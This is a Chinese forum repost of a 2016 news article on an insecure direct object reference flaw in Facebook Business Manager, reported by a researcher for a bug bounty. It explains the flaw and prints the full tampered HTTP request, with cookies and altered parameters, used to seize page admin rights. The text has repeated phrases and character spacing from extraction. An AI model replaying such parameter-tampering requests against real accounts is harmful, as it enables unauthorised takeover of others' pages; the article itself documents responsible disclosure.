搜索

[10521] 2016-09-20_十秒内黑掉Facebook主页？这个漏洞竟然价值1.6万美金

文档创建者：s7ckTeam
浏览次数：38
最后更新：2025-01-18
2016-09-20_十秒内黑掉Facebook主页？这个漏洞竟然价值1.6万美金 十 秒 内 黑 掉 F a c e b o o k 主 页 ？ 这 个 漏 洞 竟 然 价 值 1 . 6 万 美 金 A l p h a _ h 4 c k   F r e e B u f   2 0 1 6 - 0 9 - 2 0 如 何 黑 掉 你 的 如 何 黑 掉 你 的 F a c e b o o k ？ 这 位 来 自 印 度 的 安 全 研 究 专 家 表 示 有 话 要 说 。 根 据 国 外 媒 体 的 最 新 报 道 ， 一 位 名 叫 ？ 这 位 来 自 印 度 的 安 全 研 究 专 家 表 示 有 话 要 说 。 根 据 国 外 媒 体 的 最 新 报 道 ， 一 位 名 叫 A r u n S u r e s h k u m a r 的 印 度 安 全 专 家 在 的 印 度 安 全 专 家 在 F a c e b o o k 的 的 “ 企 业 管 理 平 台 企 业 管 理 平 台 ” （ （ B u s i n e s s M a n a g e r ） 中 发 现 了 一 个 严 重 的 漏 洞 ， 攻 击 者 可 以 利 用 该 漏 洞 ） 中 发 现 了 一 个 严 重 的 漏 洞 ， 攻 击 者 可 以 利 用 该 漏 洞 来 攻 击 任 何 人 的 来 攻 击 任 何 人 的 F a c e b o o k 主 页 。 主 页 。 F a c e b o o k 的 企 业 管 理 平 台 （ 的 企 业 管 理 平 台 （ B u s i n e s s M a n a g e r ） 是 什 么 ？ ） 是 什 么 ？ “ 企 业 管 理 平 台 ” 可 以 帮 助 企 业 、 广 告 代 理 商 、 或 行 销 人 员 在 统 一 界 面 下 集 中 管 理 企 业 旗 下 的 F a c e b o o k 主 页 、 广 告 账 号 、 以 及 付 款 方 式 ， 从 而 避 免 了 管 理 人 员 需 要 不 断 切 换 界 面 的 尴 尬 局 面 。 大 型 企 业 旗 下 通 常 会 有 多 个 F a c e b o o k 粉 丝 主 页 ， 而 这 些 主 页 又 各 自 有 不 同 的 市 场 定 位 和 目 标 。 对 于 企 业 管 理 者 而 言 ， “ 企 业 管 理 平 台 ” 可 以 帮 助 他 们 在 同 一 界 面 下 管 理 所 有 的 粉 丝 专 页 和 广 告 账 号 ， 不 仅 如 此 ， 他 们 还 可 以 查 看 、 移 除 、 或 变 更 相 应 用 户 的 权 限 。 而 各 个 F a c e b o o k 粉 丝 专 页 的 管 理 者 可 以 登 入 “ 企 业 管 理 平 台 ” ， 并 直 接 访 问 广 告 账 号 和 主 页 的 各 种 信 息 。 此 时 并 不 会 向 雇 主 显 示 所 有 的 F a c e b o o k 个 人 资 料 ， 仅 会 显 示 姓 名 、 公 司 名 称 、 以 及 广 告 账 号 等 信 息 ， 所 以 管 理 者 不 必 担 心 需 要 将 工 作 上 接 触 的 人 加 为 F a c e b o o k 好 友 。 不 安 全 的 直 接 对 象 引 用 不 安 全 的 直 接 对 象 引 用 在 我 们 对 这 一 攻 击 技 术 进 行 分 析 之 前 ， 请 允 许 我 先 给 大 家 介 绍 一 下 “ 不 安 全 的 直 接 对 象 引 用 ” 的 概 念 。
根 据 O W A S P 项 目 （ 开 放 式 W e b 应 用 程 序 安 全 项 目 ） 所 提 供 的 定 义 ， 当 一 个 W e b 应 用 程 序 可 以 根 据 用 户 提 供 的 输 入 信 息 来 向 用 户 提 供 对 象 的 直 接 访 问 ， 那 么 这 就 是 一 种 不 安 全 的 直 接 对 象 引 用 。 这 个 漏 洞 的 存 在 ， 将 允 许 攻 击 者 绕 过 系 统 的 身 份 验 证 机 制 ， 并 直 接 访 问 到 网 络 系 统 中 的 所 有 资 源 。 根 据 O W A S P 项 目 官 方 提 供 的 信 息 ： “ 不 安 全 的 直 接 对 象 引 用 将 允 许 攻 击 者 绕 过 系 统 的 身 份 验 证 机 制 ， 并 可 以 通 过 修 改 对 象 的 引 用 参 数 值 来 直 接 访 问 系 统 资 源 。 这 些 资 源 有 可 能 是 属 于 其 他 用 户 的 数 据 库 数 据 ， 也 有 可 能 是 存 储 在 文 件 系 统 中 的 文 件 。 如 果 W e b 应 用 程 序 在 没 有 对 用 户 的 输 入 数 据 进 行 安 全 检 测 的 情 况 下 直 接 向 用 户 提 供 了 请 求 对 象 的 访 问 权 限 ， 那 么 就 会 出 现 这 种 不 安 全 的 情 况 。 ” F a c e b o o k 漏 洞 分 析 漏 洞 分 析 S u r e s h k u m a r 在 F a c e b o o k 的 企 业 管 理 平 台 中 发 现 了 一 个 I D O R （ I n s e c u r e D i r e c t   O b j e c t   R e f e r e n c e s ） 漏 洞 ， 而 在 这 个 漏 洞 的 帮 助 下 ， 他 可 以 在 十 秒 之 内 获 取 到 任 意 F a c e b o o k 主 页 的 控 制 权 。 S u r e s h k u m a r 用 他 的 F a c e b o o k 账 号 （ I D = 9 0 7 9 7 0 5 5 5 9 8 1 5 2 4 ） 添 加 了 一 个 测 试 账 号 （ 作 为 p a r t n e r 账 号 ） ， 这 个 p a r t n e r 账 号 的 I D 为 9 9 1 0 7 9 8 7 0 9 7 5 7 8 8 。 他 在 测 试 中 使 用 了 B u r p S u i t e 来 拦 截 F a c e b o o k 的 网 络 请 求 信 息 ， 并 且 修 改 了 请 求 中 的 部 分 数 据 。 S u r e s h k u m a r 在 他 发 表 的 分 析 报 告 中 公 布 了 包 含 漏 洞 的 网 络 请 求 数 据 ： 在 他 发 表 的 分 析 报 告 中 公 布 了 包 含 漏 洞 的 网 络 请 求 数 据 ：
那 么 拿 到 这 些 数 据 之 后 ， 怎 么 才 能 攻 击 那 么 拿 到 这 些 数 据 之 后 ， 怎 么 才 能 攻 击 F a c e b o o k 主 页 呢 ？ 主 页 呢 ？ 他 用 目 标 F a c e b o o k 账 号 的 I D 值 替 换 了 请 求 数 据 中 “ a s s e t _ i d ” 参 数 值 ， 然 后 交 换 了 “ p a r e n t _ b u s i n e s s _ i d ” 和 “ a g e n c y _ i d ” 的 值 。 除 此 之 外 ， 他 还 将 “ r o l e ” 参 数 的 值 修 改 成 了 “ M A N A G E R ” 。 P O S T   / b u s i n e s s _ s h a r e / a s s e t _ t o _ a g e n c y / ? d p r = 2   H T T P / 1 . 1 H o s t :   b u s i n e s s . f a c e b o o k . c o m C o n n e c t i o n :   c l o s e C o n t e n t - L e n g t h :   4 3 6 O r i g i n :   h t t p s : / / b u s i n e s s . f a c e b o o k . c o m U s e r - A g e n t :   M o z i l l a / 5 . 0   ( M a c i n t o s h ;   I n t e l   M a c   O S   X   1 0 _ 1 1 _ 6 ) A p p l e W e b K i t / 5 3 7 . 3 6   ( K H T M L ,   l i k e   G e c k o )   C h r o m e / 5 2 . 0 . 2 7 4 3 . 1 1 6   S a f a r i / 5 3 7 . 3 6 C o n t e n t - T y p e :   a p p l i c a t i o n / x - w w w - f o r m - u r l e n c o d e d A c c e p t :   * / * R e f e r e r : h t t p s : / / b u s i n e s s . f a c e b o o k . c o m / s e t t i n g s / p a g e s / 5 3 6 1 9 5 3 9 3 1 9 9 0 7 5 ? b u s i n e s s _ i d = 9 0 7 9 7 0 5 5 5 9 8 1 5 2 4 A c c e p t - E n c o d i n g :   g z i p ,   d e f l a t e ,   b r A c c e p t - L a n g u a g e :   e n - U S , e n ; q = 0 . 8 C o o k i e :   r c = 2 ;   d a t r = A W E 3 V – D U G N T O A y 0 w T G m p A X b ;   l o c a l e = e n _ G B ; s b = B W E 3 V 1 v C n l x J F 8 7 y Y 9 a 8 W W j P ;   p l = n ; l u = g h 2 G P B n m Z Y 1 B 1 j _ 7 J 0 Z i 3 n A A ; c _ u s e r = 1 0 0 0 0 0 7 7 1 6 8 0 6 9 4 ;   x s = 2 5 % 3 A 5 C 6 r N S C a C X 9 2 M A % 3 A 2 % 3 A 1 4 7 2 4 0 2 3 2 7 % 3 A 4 8 3 7 ; f r = 0 5 U M 8 R W 0 t T k D V g b S W . A W U B 4 p n 0 D v P 1 f Q o q y w W e O R l j _ L E . B X N 2 E F . I L . F f D . 0 . 0 . B X x B S o . A W X d K m 2 I ; c s m = 2 ;   s = A a 5 0 v j f S f y F H H m C 1 . B X w x O Y ;   _ g a = G A 1 . 2 . 1 7 7 3 9 4 8 0 7 3 . 1 4 6 4 6 6 8 6 6 7 ;   p = - 2 ; p r e s e n c e = E D v F 3 E t i m e F 1 4 7 2 4 6 9 2 1 5 E u s e r F A 2 1 B 0 0 7 7 1 6 8 0 6 9 4 A 2 E s t a t e F D u t F 1 4 7 2 4 6 9 2 1 5 0 5 1 C E c h F D p _ 5 f 1 B 0 0 7 7 1 6 8 0 6 9 4 F 7 C C ; a c t = 1 4 7 2 4 6 9 2 3 3 4 5 8 % 2 F 6 p a r e n t _ b u s i n e s s _ i d = 9 0 7 9 7 0 5 5 5 9 8 1 5 2 4 & a g e n c y _ i d = 9 9 1 0 7 9 8 7 0 9 7 5 7 8 8 & a s s e t _ i d = 5 3 6 1 9 5 3 9 3 1 9 9 0 7 5 & r o l e = M A N A G E R & _ _ u s e r = 1 0 0 0 0 0 7 7 1 6 8 0 6 9 4 & _ _ a = 1 & _ _ d y n = a K U - X x a A c o a u c C J D z o p z 8 a W K F b G E W 8 U h r W q w - x G 2 G 4 a K 2 i 8 z F E 8 o q C w k o S E v m b g c F V 8 S m q V U z x e U W 4 o h A x W d w S D B z o v U - e B C y 8 b 4 8 x i c x 2 a G e w z w E x 2 q E N 4 y E C c K b B y 9 o n w F w H C B x u n g X K d A w & _ _ r e q = e & _ _ b e = - 1 & _ _ p c = P H A S E D % 3 A b r a n d s _ p k g & f b _ d t s g = A Q H o L G h 1 H U m f % 3 A A Q G T 4 f D F 1 - n Q & t t s t a m p = 2 6 5 8 1 7 2 1 1 1 7 6 7 1 1 0 4 4 9 7 2 8 5 1 0 9 1 0 2 5 8 6 5 8 1 7 1 8 4 5 2 1 0 2 6 8 7 0 4 9 4 5 1 1 0 8 1 & _ _ r e v = 2 5 3 0 7 3 3 p a r e n t _ b u s i n e s s _ i d =   9 9 1 0 7 9 8 7 0 9 7 5 7 8 8 a g e n c y _ i d =   9 0 7 9 7 0 5 5 5 9 8 1 5 2 4 a s s e t _ i d   = 1 9 0 3 1 3 4 6 1 3 8 1 0 2 2 r o l e =   M A N A G E R
通 过 上 述 这 一 系 列 操 作 之 后 ， S u r e s h k u m a r 演 示 了 如 何 攻 击 F a c e b o o k 主 页 ， 并 获 取 到 了 企 业 管 理 平 台 页 面 的 管 理 员 权 限 。 除 此 之 外 ， S u r e s h k u m a r 还 发 布 了 一 段 攻 击 演 示 视 频 。 P o C 视 频 ： 视 频 ： h t t p s : / / y o u t u . b e / B S n k s W X 5 K n 0   结 束 语 结 束 语 这 位 来 自 印 度 的 安 全 研 究 专 家 于 2 0 1 6 年 8 月 2 9 日 正 式 将 该 漏 洞 提 交 给 了 F a c e b o o k 。 F a c e b o o k 的 安 全 技 术 人 员 对 该 漏 洞 进 行 了 分 析 ， 并 且 在 调 查 过 程 中 还 意 外 发 现 了 平 台 中 的 另 外 一 个 安 全 漏 洞 。 根 据 F a c e b o o k 的 漏 洞 奖 励 计 划 ， 这 位 社 交 网 络 中 的 巨 头 向 S u r e s h k u m a r 提 供 了 一 万 六 千 美 元 的 漏 洞 奖 金 。 这 个 漏 洞 竟 然 价 值 1 . 6 万 美 金 ， 请 问 各 位 B u g H u n t e r 心 动 了 吗 ？ *   参 考 来 源 ： s e c u r i t y a f f a i r s ， F B 小 编 A l p h a _ h 4 c k 编 译 ， 未 经 许 可 禁 止 转 载
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理